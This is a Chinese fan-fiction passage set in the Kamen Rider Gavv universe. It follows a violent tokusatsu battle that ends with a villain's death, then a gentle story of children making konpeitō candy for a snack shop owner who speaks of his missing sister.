焙克狠狠掐起绊斗,将他几乎半拎了起来。“尼耶鲁布大人给予了我如此强大的力量,还答应我只要能杀掉你就会提供源源不断的黑暗零食,我再也不用待在这里苦苦抓捕原料了!”
他笑出了声,笑得浑身颤抖,笑得焙克面甲都似乎戴上了疯狂意味。他举起拳头,四周扬起灼热的气息,这是力量凝聚后灼烧空气的味道。
“没错!只要能杀掉你,我就不用去死了!”
砰——
冰沙装甲四散崩裂,人类的□□轰然撞上树干,滚落下来,发出沉闷的声音。
喉间涌出一大股鲜血,染红了身下幼嫩的新芽。绊斗颤抖着捂住胸口,掌心下的心脏在剧烈搏动,每跳一下就会带起强烈的血腥味,但好在肾上腺素的作用足够强硬,除了麻木的痉挛外什么都感受不到。
但是,胸腔却在燃烧。那股烈火冲破心脏直达脑门,几乎点燃了他全部的理智。
“哈哈......哈哈哈哈哈哈......”他嘲笑着,笑得身子弓了起来,双手捂住面孔。“有这样的力量不去反抗斯托马克公司,不去反抗尼耶鲁布,却跑来人类世界对付我......真是太可笑了......我之前居然想要原谅你......”
他抬起手臂费力擦掉唇边不断涌出的鲜血,抬眼看向柴崎导演,眼中爬上根根鲜红血丝。
“你本质上就是个懦弱又无能的人吧!”
焙克似乎顿了一下,随即猛冲过来,一把抓住绊斗的头发,迫使他抬头与自己对视。
“你!你说什么?!”
血液再次顺着发丝流淌至眼中,但绊斗仿佛没有知觉一般用力瞪着那双明黄色复眼,好像透过它回应了背后的视线。
“我以为你是真心喜欢这份工作的。”绊斗轻笑了一声,嘲讽似的勾起唇角。“羡慕科梅尔又怎样,憎恨斯托马克又怎样,都是嘴上说说罢了,你的思念,你的热爱根本不值一提!因为你根本连尝试为自己争取幸福的勇气都没有,只敢对付你眼中脆弱好欺的人类!”
“闭嘴......闭嘴!你这个......无知的人类!”他愤怒甩开头发,猛地掐住对方的脖子,本就无力挣扎的人类连呼吸都变得困难。
皮肤传来与砂糖人完全不同的滚烫温度,滚动的喉结,跳动的脉搏,被迫凸起的青筋都彰显着人类这种生物有多么脆弱,只要轻轻施加力道,掌心下的骨骼就会瞬间断裂。
但五指却仿佛被禁锢住一般根本无法动弹。
“砰!”
一声巨响,焙克瞬间撞上几米开外的大树,粗壮的树干发出危险的咔嚓声。
腹口的位置爆出丝丝火花,焙克不敢置信地捂住腹口,几步开外,刚刚还几乎昏死过去的人类正紧握着冒着硝烟的枪械,双臂在不轻的重量下肉眼可见地颤抖。
“人类......也远比你这样的废物强大!”
他提着瓦伦破坏枪踉跄起身,脖子上还残留着青一块紫一块的血手印。
“今天我就算死在这里,也要替被你杀死的人类复仇!”
远处传来嘈杂的音乐声与欢呼声,如果时间没算错的话这个时候最后一辆花车也已来到游乐园正中心的大舞台,舞团与演员们会齐齐走上绚丽的高台完成最后的表演。
霓虹灯光从遥远的大道与广场传播到小树林里,倒映在焙克金黄色的复眼中。
婴儿尖锐的哭腔如同细密的钢针搅入大脑,绊斗晃了晃脑袋,血色的视线里,那身影扭了扭脖子,发出咔哒咔哒的骨骼声,紧接着便扬起手臂朝自己袭来。
绊斗避之不及,只好立刻抬枪格挡,然而对面的力量却出乎意料的弱小,那只蕴藏巨大能量的臂膀停留在原地猛烈颤抖,仿佛正与一双无形的大手奋力抗争。
来不及思考原因,绊斗一把拍开拳头,抬起一脚将焙克踹飞出去,白巧饱藏跃入武器之中,香浓微苦的巧克力味瞬间弥散开来。
“变身!”
[假面骑士瓦伦-白巧形态]
为什么?救世主K的力量变弱了?
生真看得又疑惑又心焦,根本顾不上思考尼耶鲁布话中的意思。他偷偷瞥了一眼哥哥,对方摩挲着下巴也是一脸不解。
“看来还有很大的改进空间。”
“别急着走。”生真刚跨出两步便再次被尼耶鲁布钳住,“作为我刚才解答问题的回报,你是不是也应该回答我一个问题?”
“登特叔公在哪里,你应该知道的吧?”
生真眼皮一跳,惊愕回神,见对方扬起嘴角,朝小树林内的绊斗抬了抬下巴道:
“瓦伦用的布拉姆驱动器一看就是叔公的杰作。我对自己的作品还是有点感情的,即使外观相同我也认得出来与海月9使用的不是同一条,毕竟材料都不是砂糖人世界的东西吧?而能这么快做出仿品的人除了叔公我实在想不到其他人选了。”
他突然凑到生真面前,眯起眼睛,状似疑惑道:“叔公失踪了这么多年,大家都以为他已经死了,没想到他居然躲到了人类世界,还偷偷帮你?”
“明明我才是他最得意的学生吧?你凭什么能得到他的青睐?”
他屈起手指点了点生真的腹部,红色口器触感柔软温暖,与正常砂糖人巨大的可怖腹口大相径庭。
“是因为这张能孕育饱藏的腹口吗?”
“你凭什么以为我会告诉你!”生真一巴掌拍开对方的手,内心却掀起惊涛骇浪。
如果尼耶鲁布想对叔公下手,就凭郊外的那一小片山洞,恐怕很快就会被特工找到,而叔公是必然不可能逃脱的,必须要尽快通知他!
然而,对方却挑了挑眉,噗嗤一声笑了出来:“你还真是天真,居然随便诈一下就都招了。”
什么......
“嗯,他果然和你们混在一起。”尼耶鲁布安慰似的拍拍生真的肩膀,“放心,我不会对叔公做什么的,毕竟他不仅是你我的叔公,更是我的老师。”
“我只是有些事情想问他,谢谢你的回答。”
他伸了伸懒腰,一副对后续结果没兴趣的样子,突地消失在生真的身后,只留下一片黑沉沉的雾气。
“数据收集完成,再见~”
灌入白巧饱藏,瓦伦破坏枪变得愈发滚烫,绊斗抬起枪柄对准黑腹口,四周的能量朝枪心汇聚,引起空气阵阵波动。
砰!
红棕色的能量波直直朝焙克袭去,火光乍现,树木瞬间倾倒,砸出一片落叶。
焙克已闪至另一边,捂着被巧克力浆液灼烧的臂膀剧烈喘息,伤口处血肉正在快速生长,不消片刻就能恢复如初。
这恢复速度可比砂糖人本身强大太多了。
绊斗深呼出一口气,再次屏气凝神,他的目标是那张小小的黑腹口。
砰!砰!砰!
连续发射几枪,焙克浑身上下鲜血淋漓,胸腔肉眼可见地剧烈起伏着,他的拳头抬起又放下,躲藏地愈加频繁,却既不逃跑也不对绊斗发起进攻,如同一个活靶子。
为什么?
他喉头滚动了一下,浓重的血腥味被吞入腹中,而后细细密密的苦涩味道便随之翻涌而来,他握着枪托的手一抖,能量束再次爆发出灼热的味道。
打偏了!
绊斗刚皱起眉头,焙克却如同木偶一般兀然停滞在原地,随即整个视角便成为了一幅帧率过低的连环画。
对方一卡一卡地站起身,露出那张小小的黑腹口,一下扑到能量束的落点处,剧烈的火光轰然爆发,热浪翻涌,让绊斗不得不转身抵挡。
巧克力苦涩的气味渐渐散去,狂风停了下来,滋滋的电流声便变得格外清晰。绊斗急切回头,黑腹口依然完好无损,但密密麻麻的银白电蛇却往外延伸,让与此相接的砂糖人的腹部一片焦褐,片
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片血肉剥落下来,传来浓重的腐烂味道。
焙克发出压抑的痛呼,一下跪倒在地。他喘息了一阵,抬眼望向瓦伦,明亮的火花在黄色复眼中炸开,那是远处舞台上绽放的礼花。
绊斗闭上眼睛,口腔中的血腥味被尽数压下,眼眶却泛起了滚烫。
“这就是......你的答案吗?”
他抬起瓦伦破坏枪瞄准裸露在外的黑腹口,左手稳稳握住枪托,白巧饱藏在枪械内蓄势待发。
这一枪,会了却他十几年的执念,会替所有被鬣狗砂糖人伤害了的人类复仇,也会彻底让这个砂糖人得到解脱。
砰!砰!砰!
数十道能量束劈开黑暗,与远处的烟火交相辉映,剧烈的爆炸声中,更为浓重的腐烂味道扑面而来,鲜血淋漓的残肢断臂炸得四处飞溅,一落地便瞬间溶解消失,化为黑红色的血肉融入草木之中。
四周火花四起,星星点点地燃烧土地上的枯枝残叶,发出噼里啪啦的爆炸声,又在初春潮湿的空气中渐渐熄灭,烟雾散尽,已不见砂糖人的身影。
“绊斗!”
他放下枪,转头寻找熟悉的声源,生真正手脚并用地朝这边赶来。他扯出一抹笑意,伸手拔出白巧饱藏,装甲解体,剧烈的疼痛后知后觉传遍全身。
体力仿佛被抽干了一般瞬间软倒,但好在生真马上接住了几乎毫无知觉的身体,没让自己变得更加狼狈。
他伸手揪住手心下的衣料,即使浑身都在止不住地发颤,即使心脏被难以言喻的心情包得密不透风,但当熟悉的味道钻入鼻腔时却依然让他瞬间卸下一切。
“我报仇了,生真。”
“拉齐昂,这里!”
幸果坐在舞台正前方很不错的位置朝拉齐亚挥了挥手,这是几天前柴崎导演为了感谢欢乐游行的帮助特意留出的位置。
“怎么浑身彩带啊?不是去找人了吗?”
“混进了气球堆里,打坏了好几个。”拉齐亚甩了甩脑袋,低下头任由社长清理残余,亮片与彩带纷纷洒落,在灯光之下闪闪泛光。
“幸好你回来得及时,烟火大会马上就开始了哦!”小律兴奋地拍拍拉齐亚的肩膀,她对这位新加入的帅哥员工可是非常有好感的。
砰!
一排排金色的火光拖着长尾升上夜空,在明亮的月华之下炸出绚丽多彩的星光,噼里啪啦似流星滑落,又渐渐消失于天际。
生真循声看向远处的夜空,兴奋地摇了摇靠在肩头几乎快要睡着的绊斗。
“绊斗快看快看!烟花原来这么漂亮!”
“别摇了,我又不是砂糖人,再摇就要散架了......”
“啊——抱歉绊斗!”他松开手,继续凝视天空。“好想让妈妈也看看......”
漆黑无人的小道被明亮的烟花一寸寸照亮,绊斗抬眼望向身边的人,尚未褪去稚气的脸庞流露出天真的模样,烟花在乌黑的眼瞳中乍亮,照得瞳孔流光溢彩,这是不带任何杂质的纯粹的快乐与幸福。
察觉到绊斗的视线,生真回望过来,眼角弯弯,露出灿烂的笑容。
“明天就是新的一天了吧!”
尼耶鲁布迎着烟花的光芒缓缓踏入小树林深处,新叶嫩芽四周散落着片片焦黑肉块,从稀疏到层层叠叠,最后他站定在黑糊糊的肉块身侧。
他戴了双白手套,屈起手指轻轻点了点圆溜溜的肉块,上面挂着的一双眼珠是整个肉块中最明显的白。
那对眼珠从夜空明亮璀璨的花火中缓缓挪开,怔怔看向来人。
“没想到还活着。”
他掏出一块白布盖住下方依然与鬣狗砂糖人黏连的黑紫色腹口,捏住向上一提,肉块与腹口的连接处便根根断裂,发出黏腻的声音。
随着最后一丝连接处断开,下方焦黑的肉块便如同下雨一般快速散落,那瞳孔瞬间放大,纤维颤抖着,再没了声息。
12. 五彩缤纷的星星糖(1)
当井上生真不在欢乐游行的时候,整个万事屋都相当清净。
因为上次与尼耶鲁布的交谈,现在生真时不时就要跑到登特叔公那里劝说老爷子搬来万事屋,屡败屡战屡战屡败,每次回来都是一副委屈巴巴的苦瓜脸,倒是由于生真每次去都拎满两大袋子零食,叔公本就夸张的体型更是变得一发不可收拾。
而辛木田绊斗则不知道在忙些什么事情,成天不见踪影,每次一问就神秘兮兮地摆摆手,然后叹出一口气,一副不愿多说的样子。
两个人都不在,也没有什么大委托,好不容易闲下来的美女社长甘根幸果趴在沙发上认真翻阅时尚杂志,而自家的临时员工拉齐亚则盘腿坐在旁边的茶几上,埋头苦学四年级日本语,哭丧着一张脸边挠头边写字,那头漂亮的银白卷发被糟蹋得堪比海底随波飘动的海草,真切展示了水母砂糖人的海洋生物特性,而生真那几个资历最老的小饱藏大大咧咧在上面做了窝,在安逸的氛围里睡得直打咕噜。
门铃不合时宜地响了起来,随之而来的便是人类幼崽们熙熙攘攘的打闹声和在稚嫩混乱的语调中脱颖而出的清甜嗓音。
“我们到啦!”
睡得昏天黑地的小饱藏们打了个机灵,才因为闻到主人熟悉的味道而闪出的星星眼瞬间浇灭下去,一个个蛄蛹着消失在欢乐游行的各个角落。
大门打开,安静的万事屋一下涌进七八个孩子,跟随其后的是井上生真和几个大人。
“幸果小姐!”
“幸果小姐好!”
“幸果小姐!我们......”
“我们想要委托!”
孩子们七嘴八舌地围着幸果讲述来意,把女孩儿绕得迷迷瞪瞪,最后是几个大人解了围——孩子们想要委托,而路上正好碰到了幸果小姐家的小员工,就由他领着孩子们过来了。
将几位家长送出门后,幸果从橱窗里掏出几张空白的委托单摆上桌面。
“说说吧,几位小客人想要委托什么呢?”
几杯牛奶送到小客人手中,生真坐到幸果旁边,同样摆出一副认真工作的姿态,倒是让孩子们正经了不少。
于是,在幸果的循循引导之下终于理清了一切。
离这边几个街道的原木町有一家开了几十年的怀旧零食店,店长每年的这个时候都会举行怀旧零食活动,邀请附近的小朋友们一起做游戏,品尝小零食,感受零食带来的幸福与快乐,而这活动一办就是二十多年。
曾经参与过活动的孩子成为了家长,而他们的孩子同样受邀成为了参与者,如今这些小朋友打算共同做一些小礼物报答店长,却不知道什么礼物最合适。
“既然如此......不如选金平糖怎么样?亲手做一罐金平糖送给怀旧零食店的店主,一定很不错吧!”幸果拿着笔点了点下巴,而后在指尖转了一圈,兴奋提议道。
“金平糖?那是什么?”
“欸?生真不知道金平糖吗?”
“金平糖是大家小时候都吃过的糖果吧!很著名呢!”
少女的脸上闪过一丝慌乱,刚想开口搪塞过去,便被生真接了话。
“嗯,小时候家里管得很严格,所以很多零食都没吃过呢,不过现在我会品尝越来越多的零食的!”他的眼睛亮了几分,脸上的笑容变得更加灿烂。
“我妈妈也很严格,零食都不给多吃的!”
“下次生真和凉太都来我家玩吧!我有好多好多零食!”
“好啊好啊!”
眼见话题逐渐飘往不知名的方向,坐在不远处的拉齐亚拿笔敲了敲桌子,无奈道:“你们应该在讨论礼物的事情吧......”
拉齐亚本就常年一副冷酷不太好接近的样子,之前躺在小公园的滑梯上睡大觉的时候甚至还吓哭过小朋友。如今被人类语言折磨得更是没有好脸色,在座几位胆小的孩子吓得瞬间僵直,气氛一下安静了下来。
幸果无奈浅笑一下,站起身搂上几位小朋友的肩膀认真介绍起金平糖:“金平糖是一种长得很像星星的糖果,应该算是日本最为古老的零食之一了吧。在很久很久以前,物资还很匮乏的时候,金平糖作为稀有的白糖还成为过皇室的赠品,十分珍贵呢!不过到了现在,金平糖的糖果身份已经慢慢变得不再受重视,倒是由于它漂亮的形状和色彩,相比起零食更适合成为礼物,并且还衍生出很不错的寓意,比如永恒的甜蜜与美好祝愿什么的。”
见小朋友与大朋友们听得认真,幸果掏出手机将糖果展示出来,惹得半糖小子发出一声小小的惊呼。
“你们想要送礼的对象不是怀旧零食店的店主吗?我觉得金平糖不论是历史、外观还是寓意,都很适合成为你们的礼物哦~”
“很不错的想法呢!谢谢幸果小姐!”
“不过如果是礼物的话,还是由大家亲手制作的更显诚心吧!”
“可是......我们根本毫无头绪啊......”
“幸果小姐愿意帮忙吗?”
几个孩子一呼百应,一个个瞪着水灵灵的大眼睛哼哼唧唧地揪着幸果的衣服不肯撒手,女孩缓缓蹲下身,抬起手俏皮地行了个礼。
“当然,乐意效劳!”
如果说除了控制不住砂糖人的力量偶尔泄露导致毁坏一些设备或材料以外,井上生真完全算得上是先天手工圣体,放到任何甜品店都会被老师傅夸赞骨骼惊奇。
大块雪白色糯米粒在滚轮般的铁锅中缓缓翻动,大手握着小手,将调配好的色彩明艳的各色糖浆一丝一缕洒进白色的沙砾中。
温度不算很高,却也足以蒸发出材料多余的水分,水蒸气融化进空气里,带来浓郁的香甜味道。
明明尚未进入酷暑,万事屋内便已呈现出潮湿闷热的盛夏雨季,空调与除湿机呜呜运转,却也仅能制造出几平米的阴凉。拉齐亚难耐地捏起塌成蚯蚓的卷发,将手中的锅铲一丢,彻底瘫倒在沙发上。
耳边是人类幼崽们的笑声,不算吵闹,倒是和这间花哨的万事屋风格非常契合。他出神地盯了一会儿天花板,然后转动视角,将欢乐游行仔细看了个遍。
墙面是大片蓝色与粉色的拼色,嵌上浅绿色的隔断,让整个屋子都显得明快而富有生机,大门是温柔的紫色,上面点缀了金色的铃铛,只要一开门就会发出清脆的声音。沙发是粉色的,而怀中的冰淇淋抱枕和蛋糕王饱藏一样白,这是前段时间社长买的,据说是因为太喜欢雪糕饱藏了。
地面铺着浅棕色的木质地板,蓝粉黄绿四色木桌两两拼凑在一起,如今旁边正站着不少人类,而生真那件明黄色的卫衣就显得尤其突出。
乳白色的瓷瓶是不远处的庄园主送的,墙上橙红色的向日葵挂画是不知名的小画家送的,品红色的相机来源于某位路过的摄影师,旁边黑色揪甲虫标本则来自隔壁自称国王的男孩,这些都曾是社长的客人。
头顶是橘色的木质楼梯,上去就是生真的私人领地,干干净净的白,只能放下一张床铺和梳妆台大小的书桌,换做是他恐怕连腿脚都伸展不开,不过对于生真来说,这小小的阁楼已然成为他真正的归宿。
而那群如同零食包装袋一般五颜六色的小饱藏们正悄悄从生真的被窝中探出脑袋,好奇望向热火朝天之处,发出窸窸窣窣的,除了生真谁也听不懂的饱藏语。
布丁芭菲饱藏从口袋中奋力挤出,在布丁饱藏与樱桃果冻饱藏的引领之下迅速钻入生真的被窝,成功加入众饱藏的交流大会。
彩色的,如同星星一般的金平糖......
和这间屋子很搭啊......
唇边传来柔软的温热,而后坚硬的,如同大块沙砾的事物便强硬地挤入双唇。
不用费多大力气,相比起石头算得上十分松软的糖果被下意识碾碎在唇齿之间,而后便是夹杂着葡萄果香的甜,很熟悉,也很好闻。
“好吃吗?”生真半跪在沙发边,一副期待的神色。
“很普通的白砂糖的味道。”拉齐亚侧头望向来人,头发上,脸上,脖子里挂满了汗珠,眼神却亮得出奇。
他抬手抹过生真的脸颊,带起一片绯红色的糖浆,淡淡的清香绕上鼻尖,草莓味的。
“啊!”
他轻呼了一声,不好意思地蹭了蹭脸颊,却因为手指上的糖浆彻底变成小花猫,而本人却毫无所觉。
“大概是哪个孩子不小心蹭上的。”
他小声解释了一句,抬手拨开黏在拉齐亚额头的卷发,皱着眉头替他扇风——作为深海水母的拉齐亚是最讨厌炎热的。
“怎么会呢?我有好好添加别的味道,是我最喜欢
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的葡萄味了......”
拉齐亚无奈地轻笑出声,爬起来找出一块毛巾兜头罩住傻乎乎的孩子。“我是砂糖人,当然只会评判石头的好坏,你觉得好吃就行。”
隔着毛巾轻轻擦拭黏糊糊的糖浆,拉齐亚声音放轻,将生真带到角落里。
“那个零食店店主很可疑,举办二十多年的活动,营造出幸福的氛围,这很像砂糖人诱捕猎物的手段。”
“诶?”小狗脑袋兀地从毛巾中拱出,下意识甩了甩湿漉漉的头发,露出难以置信的神情,过了几秒,他又仿佛发现了什么似的重重点了个头。
“好像是有点道理......不过没听说附近有什么失踪人口啊?”
“话是这么说,但谨慎点总是没错的。”
强硬地捏住下巴制止住乱拱的脑袋,修长的手指正好卡住两侧被蒸腾到红扑扑的脸颊肉,往上一使劲,那双小狗一样漂亮无辜的眼睛里就只剩下自己的模样。
拉齐亚恶趣味地捏了捏掌心下柔软的皮肤,平时那张能说会道的嘴巴瞬间就被限制住了发挥,仅能发出叽里咕噜的模糊语句,跟饱藏语似的。
“***我***一起***,不会***的!”
不过好在并不影响拉齐亚的理解,毕竟他连一字不通的饱藏语都能熟练翻译。
“啊?这么热?!你们干什么呢!”
外头清凉的空气卷起贴在耳侧的银白长发,将那股潮湿的燥热带走了大半,拉齐亚心虚地眨了眨眼,正准备收回手指,掌心下的半砂糖人便突地眼前一亮,边呼唤着来人的名字边小狗一样甩着尾巴便扑了过去。
尽管只是半砂糖人,那体型与冲劲也绝不是普通人类能够承受的,绊斗还未搞清楚状况,后背就“砰”地一声狠狠撞在大门上,而始作俑者根本毫无察觉,只一个劲把自己滚烫的身体往人类的怀里拱。
“绊斗!我好几天没看到你了~你干什么去了?”
“起开啊!你是狗吗?!”绊斗面目扭曲地捂着后背站起身,在得到小朋友们一声声“叔叔好”的礼貌招呼之后更是两眼一黑,登时想掉头就走。
幸果的欢乐游行总会给他这样那样的惊喜,就像门外听到的叽叽喳喳的吵闹声,开门时扑面而来的热气与堪比幼儿园的热闹画面,入眼拉齐亚捏着生真的脸一副欲言又止的神情,还有被一条明黄色大金毛迎面扑来时差点被撞断的脊柱。
一扇扇窗户被打开,五月温和的风卷走燥热与潮湿,而灼热的糖果香则随风散入街道,为行人送去几分甜蜜的力量。所有人都挤到窗户口齐齐发出一声感叹。
绊斗扶额,抄起袖子将已经成型的糖果倾倒出来。
紫色的葡萄味,蓝色的汽水味,红色的莓果味,粉色的草莓味,橙色的柑橘味,黄色的柠檬味......白色?
糖果仍带着滚烫的温度,绊斗轻轻吹了吹,拈起一颗疑惑塞进嘴里。
“啊?这是谁做的,简直比石头还硬啊!”
拉齐亚的背脊一下僵直,他抿着嘴回头,又挂上了初次见面时那副见谁都不爽的表情。
“我做的荔枝味,不好吃吗?”
“这么硬的东西,根本不能送给店主吧!人家会以为你们是来搞暗杀的!”
“没劲。”拉齐亚撇了撇嘴,快步走到人类跟前,一把抢回托盘,糖果骨碌碌滚过,发出清脆的声音。“不要的话就还给我。”
“绊斗,这不是给店长的,是拉齐亚为了科梅尔的事感谢你做的。”生真趴在绊斗的肩上咬耳朵,几天不见,这半砂糖人快成记者先生的随身挂件了。而被点名道姓的砂糖人一副理直气壮的模样,既没有送礼的害羞,也没有感谢的真诚。
仿佛是为了读出藏在没劲眼神深处的感谢意味,绊斗不服气似的死死盯着对方,然后在几十秒后彻底败下阵来——论面无表情,拉齐亚还是太权威了。
“我又不是你,为什么不要,你就好好感谢我吧!”
彩色的星星糖果们一碟一碟混在一起,又在叮呤当啷的声音里滚入精致的透明玻璃瓶,在玻璃的折射之下散发出绚丽的光晕,颇有一点梦幻的童话之感。
收拾好东西将孩子们送出门,拉齐亚拉住生真将红豆年糕饱藏塞入他的手心。
“如果有危险就让它来通知我。”
13. 五彩缤纷的星星糖(2)
砂糖人的世界隐藏于一整片暗沉沉的铁锈色之中,他们向往明亮的色彩,却又习惯于纯澈的黑,而在黑石林立的城邦之中,整个世界最为亮眼的巨大白色建筑便傲立于此,这是权力的象征。
“兰戈哥哥,听说大总统又叫您过去了?”
兰戈将外套丢给眷属,理了理领子坐到会议桌的上首,嘲讽道:“大概是被博卡发现不对劲了,那家伙,心眼小得很。”
“那可不行。”尼耶鲁布皱眉摇了摇头,“高纯度黑暗零食的质量与产量还达不到我们的要求,可不能贸然行事。”
“可惜......要不是红腹口,海月9早就落到我们手里了,他的毒素可是极其罕见的诱饵。”
兰戈轻点桌面的手指忽地停住,似乎是想起了什么,转头看向弟弟道:“你对海月9做改造手术的时候,有获得过他的身体数据吧,那毒素......”。
话音未落,背后突然传来破空之声,高热的能量点燃空气,拖着残尾直朝兰戈攻去!
砰!
能量弹在离兰戈不远的距离陡然炸开,火星向四周飞溅,却如同撞上空气墙一般被阻隔在了半途。火光渐歇,弹道的落点处,一张由无数铁锈色血管缠绕的巨网正闪着银白电蛇,缓慢消失。
兰戈挑了挑眉,嘴角勾起一丝冷笑:“家族会议迟迟不来,原来你是去做见不得人的事情了?”
吉普捏着烘焙马格南的手指紧了几分,几秒过后,他收回武器,转动腹部人造腹口的把手,救世主K的黑白色装甲蠕动着组成皮肤,人皮小偶的样貌得以显现。
“只是试试新力量罢了。”
小皮鞋的声音回荡在会议厅内,吉普视线划过座位,这里是格罗塔姐姐,坐于兰戈哥哥的右手上座,这里是西塔,自己的双胞胎姐姐,死在红腹口手里。小皮鞋的声音停顿了几秒,又再次响起,而后站定在第三个座位前。
拉开几个月没碰的椅子坐下,吉普面无表情地目视前方,开口道:“开始吧,兰戈哥哥。”
零食店的位置并不算难找,拐过几条街道,那张彩色的“怀旧零食店”的招牌就已映入眼帘。
这家店开在一个小小的院子里,柏油路一侧种满了鲜花,大部分是白玫瑰与向日葵,玫瑰已盛开,而向日葵还是光秃秃的茎叶。另有绿色的茎藤缠绕在篱笆上,井上生真认不出是什么,但看得出来所有的植物都被照料得很好。
店面不算大,也绝不止二十多岁的年纪,老旧风化的迹象相当明显,但却被打理得井井有条。
门口摆了张实木桌子,分成了好几格,里面塞满了各种零食,贴上了打折的标签,价格低廉,是连孩子们也能随便买的东西。
靠近门口的右侧摆了一张太阳伞,底下一张黑色漆木桌子,几把椅子,桌面上摊着一本笔记本,一个头发已隐隐有发白迹象的男人戴着副眼镜,正握着笔认认真真地埋头写字,一派儒雅随和的模样。
孩子们一看见这男人,便一个个“哒哒哒”地飞奔向对方,扯着甜甜的嗓音大声呼唤“店长先生”。
而藏在自己身边的几个小饱藏从不知名的角落蹦跶出来,一反常态地与孩子们一起奔向店长先生,似乎完全不怕暴露自己。但好在它们只是藏到了桌子附近,并没有真的大张旗鼓地出现在所有人面前。
呼唤的话语在喉间滚动了一圈后又被咽下,生真快步走到男人面前,露出标志性的甜甜的笑容,认真行了个礼。
视线扫过桌面上的笔记本,是很标准的日语,并不是砂糖人文字。
“店长先生好,我是欢乐游行的员工井上生真,受孩子们的委托带他们来找您。”
生真递出一张名片,天蓝色与粉色拼色的小卡片,上面印了欢乐游行的地址与幸果的联系方式。
“欢乐游行?我好像听说过哦,老板是那个漂亮又热心的大眼睛女孩儿吧。”
店长抬头望向来人,四目相对,他似乎怔了一下,眼底的诧异一闪而过。他很快摘了眼镜站起身,朝生真温和一笑,接过名片看了片刻后收回了衣物内侧的口袋。
孩子们七嘴八舌地说明了来意,从小小的书包中掏出亲手制作的金平糖送到店长手中。
拥住六七罐色彩缤纷的星星糖果,沉甸甸的重量,沉甸甸的心意。
他笑着收回手,招呼大家进屋,将玻璃瓶一瓶一瓶摆放在最显眼的位置,然后转身回到里屋,捧出一罐橘红色糖果罐。
“尝尝这个,很有趣哦~”
屋内的装修风格非常老派,基本都是木制品,却挂了很多可爱童趣的装饰品,所以倒也没显得过于沉闷。窗边的日式风铃在初夏的微风之下叮呤当啷作响,让生真想起了金平糖撞击玻璃的声音,他走过琳琅满目的商品,汽水糖,薯片,巧克力,棉花糖,棒棒糖,还有自己在人类世界吃的第一个食物——葡萄软糖。
每一样都是自己喜欢吃的,每一样都曾与某些人有过难以忘怀的回忆。
“生真也尝尝吧。”
橘红色的包装被塞入手中,生真抬眼看向店长先生,没戴眼镜的眼瞳中是岁月沉淀的痕迹,明明不过四五十岁,却好像经历了太多。
撕开包装,里面是比金平糖更为细小的粉末状糖果——从未见过的糖果样式,不过尝试新口味的零食是生真极其享受的事。
他两眼放光地看向糖果,嘴角已不自觉上翘,流露出兴奋的神色。学着小朋友们的样子,贪心地将糖果一股脑倒入口中,沙砾滚滚四散于舌尖,带出浓郁的果香。
糖果快速融化,刚尝出清凉的汽水味,就突然在嘴里炸开,一个,两个,三个,而后如同被同时点燃的鞭炮一样瞬间连成一片,炸得舌尖生疼。生真刚眯起的眼睛豁然睁大,不可置信地望向店长先生,随即皱着眉头面目扭曲地蹲下身,捂着嘴巴发出一阵哀嚎。
“糖果在打我——”
“哈哈哈哈,生真吃太多啦!”
“跳跳糖就是这样的啦!生真肯定没吃过吧~”
身边围了一圈孩子,腹口不合时宜地传来一阵闷痛,生真手忙脚乱地又捂嘴巴又捂肚子,竟有点欲哭无泪。
腹口蠕动着吐出全新的小生命,还未仔细观摩这个新世界,便被一只大手紧急塞进了衣物口袋里。
生真狼狈地被店长从地上拽起来,脸上还挂着委屈尴尬的笑容。
“抱歉,不知道你没吃过,应该提醒你一下的。”
生真摇了摇头,迅速调整好状态,再次扬起明亮的笑容。
“这个糖果超有意思的!虽然第一次吃的时候会被吓一跳,但后面回味起来却会不自觉地笑出来。不管是在舌尖跳舞的糖果,迸发出来的果味气泡,还有清晰但不算过分的刺痛,都让它变得特别有趣!比起好吃的零食,感觉更像整蛊小玩具呢!”
“哈哈哈,我还是第一次听人这么详细地描述吃跳跳糖的感受,小家伙你很有意思嘛!”
他见生真想起了什么似的,从衣物口袋中掏出笔和一本花里胡哨的小本子,翻到靠后的空白页面,拔开笔帽落笔写到:
“五月二十五日,晴,今天在怀旧零食店尝到了会跳舞的糖果,叫做跳跳糖。”
细细记录下自己当下的感受,以及店长的好心,不算大的词汇量以及不够熟练的拼写让文字涂改了很多次,但稚嫩的字体却让整个页面都显得可爱童趣。最后,将跳跳糖橙红色的包装袋夹进去,在旁边画上爆炸和哭泣的图案。小心翼翼合上本子,生真再次朝店长鞠了个躬,表达自己的感谢。
店长上下打量了生真几眼,眼前的小家伙礼仪周到,身形矜贵,心思也过于年幼,根本不像正常十八九岁的少年,但手上薄薄的细茧又不像被保护得很好的富家少爷。
更何况那本手账本......
他呼出一口气,蹲下身揉了揉孩子们毛茸茸的脑袋,将他们送到花园内自己玩耍,然后让生真稍待片刻。
几分钟后,他从屋内拿出几本厚厚的本子,将它们摊开到生真面前。
生真翻开书页,色彩已不复明艳的零食包装袋,各色彩笔绘画的图案
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,工整漂亮的文字写下的感受与心情,以及尝到这个零食时发生的有趣的故事。
不止有零食,还有正餐,下午茶,饮料,偶尔有一些与食物完全无关的活动。小学勇敢地保护了受欺负的小女孩;初中校园祭上排演了一出戏剧获得一致好评;高中与朋友们参加夏日祭的烟火大会,第一次尝试穿浴衣;大学期间进入幼儿园当志愿者,好像很受小朋友的喜欢,并且在这里决定了自己的梦想与目标。
再然后......
生真往后翻页,之后便是一片空白,什么都没有了。
“这是?”
“是我妹妹的手账本,你们两个的风格真的很像。不论是吃下零食时幸福的笑容,还是将感受记录下来的这份真诚,都会让我不自觉就想起她来。”
店长露出温和的,充满怀念的笑容,但生真却感受到了藏在笑容之下的苦涩味道。
他想起刚才店长进里屋时匆匆瞥到的柜墙一角,点着香火,供着点心,与自己刚来人类世界时遇到的那对老夫妇家的神龛一模一样。
他小心翼翼扣上本子,轻声问道:“那后来呢,是发生什么事了吗?”
店长摇了摇头,眼神中透出明显的悲伤。
“她失踪了。二十多年前,她在大学里突然消失,像凭空蒸发了一样。”
难道......是被临时工抓走了吗?如果是这样,恐怕早就被做成黑暗零食,进入了砂糖人的肚子里。
“一点痕迹都没有吗?”
“没有。家里人找了十多年却一无所获,就连警察都对此束手无策,如今连追诉期都过很久了。”店长嘴角扯出一抹无奈的笑意,眉间却萦绕上难以磨灭的悲伤。
“当彻底放弃寻找妹妹,设立神龛之后,爸爸妈妈也彻底一蹶不振,没过多久便相继离世,如今家里就只剩下我一个人了。”
